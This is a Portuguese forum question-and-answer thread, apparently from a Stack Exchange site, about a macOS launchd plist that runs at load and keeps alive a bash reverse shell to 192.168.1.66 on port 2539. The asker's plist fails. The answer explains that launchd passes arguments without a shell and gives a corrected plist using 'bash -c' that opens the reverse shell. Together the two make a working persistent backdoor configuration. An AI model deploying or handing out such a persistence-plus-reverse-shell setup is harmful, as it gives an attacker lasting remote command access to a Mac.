Arquivo Launchd para fluxo reverso

0

Alguém tem alguma idéia de por que isso não consegue executar uma conexão de fluxo reverso quando carregada?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.unix.bash.plist</string>
        <key>ProgramArguments</key>
        <array>
                <string>/bin/bash</string>
                <string>-i</string>
                <string>&gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>StartInterval</key>
        <integer>100</integer>
        <key>KeepAlive</key>
        <true/>
</dict>
</plist>
    
por November 09.12.2012 / 22:09

1 resposta

1

Redirecionamentos como < ou > (e na maioria dos Unixes, até mesmo os arquivos especiais /dev/tcp ) fazem parte da sintaxe de comando do shell e podem ser usados somente dentro de um shell que os suporte. No entanto, launchd não usa nenhum shell para iniciar serviços - ele cria o processo diretamente usando execve() ou funções similares, passando uma lista de argumentos que não são interpretados posteriormente.

Nesse caso, /bin/bash é executado e recebe os seguintes argumentos:

  • argv [0]=" /bin/bash "
  • argv [1]=" -i "
  • argv [2]=" >& /dev/tcp/192.168.1.66/2539 0>& 1 "
  • argv [3] = NULO

O Bash interpreta o segundo argumento (argv [2]) como um nome de arquivo de um script de shell a ser executado; desde que tal arquivo não existe, o bash sai.

Agora, se você precisar do comando para ser interpretado por um shell, você terá que executar um shell manualmente:

    <key>ProgramArguments</key>
    <array>
            <string>/bin/bash</string>
            <string>-c</string>
            <string>bash -i &gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
    </array>
    
por 09.12.2012 / 22:15